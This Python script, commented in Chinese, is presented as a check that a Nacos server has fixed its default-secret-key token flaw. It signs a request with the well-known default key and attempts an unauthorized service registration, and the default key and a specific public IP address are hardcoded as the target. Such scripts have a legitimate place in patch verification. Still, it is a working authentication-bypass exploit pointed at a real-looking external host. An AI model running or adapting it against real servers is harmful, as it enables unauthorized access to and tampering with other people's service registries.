import requests
import hmac
import hashlib
import time
import base64
import argparse


def generate_token(secret_key, data):
    """使用 HMAC-SHA1 算法生成签名"""
    h = hmac.new(secret_key.encode('utf-8'), data.encode('utf-8'), hashlib.sha1)
    return base64.b64encode(h.digest()).decode()


def test_nacos_token_vulnerability(nacos_url, secret_key):
    """测试 Nacos Token 漏洞是否修复"""
    # 构建请求数据
    timestamp = str(int(time.time() * 1000))
    service_name = "test-service"
    group_name = "DEFAULT_GROUP"

    # 生成签名所需的数据
    string_to_sign = f"serviceName={service_name}&timestamp={timestamp}"

    # 使用默认密钥生成签名
    signature = generate_token(secret_key, string_to_sign)

    # 构造请求头
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "Client-Version": "1.4.1",
        "User-Agent": "Nacos-Python-Client",
        "RequestId": "test-request-id",
        "Accept-Encoding": "gzip,deflate,sdch",
        "signature": signature,
        "timestamp": timestamp
    }

    # 尝试注册服务（未授权操作）
    register_url = f"{nacos_url}/nacos/v1/ns/instance"
    payload = {
        "serviceName": service_name,
        "groupName": group_name,
        "ip": "127.0.0.1",
        "port": 8080,
        "clusterName": "DEFAULT",
        "weight": 1.0,
        "enabled": True,
        "healthy": True,
        "ephemeral": True,
        "metadata": {}
    }

    # 发送请求
    response = requests.post(register_url, headers=headers, params=payload)

    # 分析结果
    if response.status_code == 403:
        print("[+] 漏洞已修复：服务器拒绝了使用默认密钥生成的 Token")
        return True
    elif response.status_code == 200:
        print("[-] 漏洞未修复：服务器接受了使用默认密钥生成的 Token")
        print(f"[-] 响应内容: {response.text}")
        return False
    else:
        print(f"[!] 测试失败：意外状态码 {response.status_code}")
        print(f"[!] 响应内容: {response.text}")
        return False


if __name__ == "__main__":
    # parser = argparse.ArgumentParser(description='测试 Nacos Token 漏洞是否修复')
    # parser.add_argument('--nacos-url', required=True, help='Nacos 服务器地址，例如: http://localhost:8848')
    # parser.add_argument('--secret-key', default='SecretKey0123456789012345678901234567890123456789012345678',
    #                     help='要测试的密钥，默认为 Nacos 默认密钥')
    # args = parser.parse_args()
    args = {'nacos_url':'http://111.208.120.178:8848','secret_key':'SecretKey012345678901234567890123456789012345678901234567890123456789'}
    print(f"[*] 开始测试 Nacos Token 漏洞修复情况...")
    print(f"[*] 测试目标: {args['nacos_url']}")
    print(f"[*] 测试密钥: {args['secret_key'][:10]}...{args['secret_key'][-10:]}")

    result = test_nacos_token_vulnerability(args['nacos_url'], args['secret_key'])

    if result:
        exit(0)  # 测试通过
    else:
        exit(1)  # 测试失败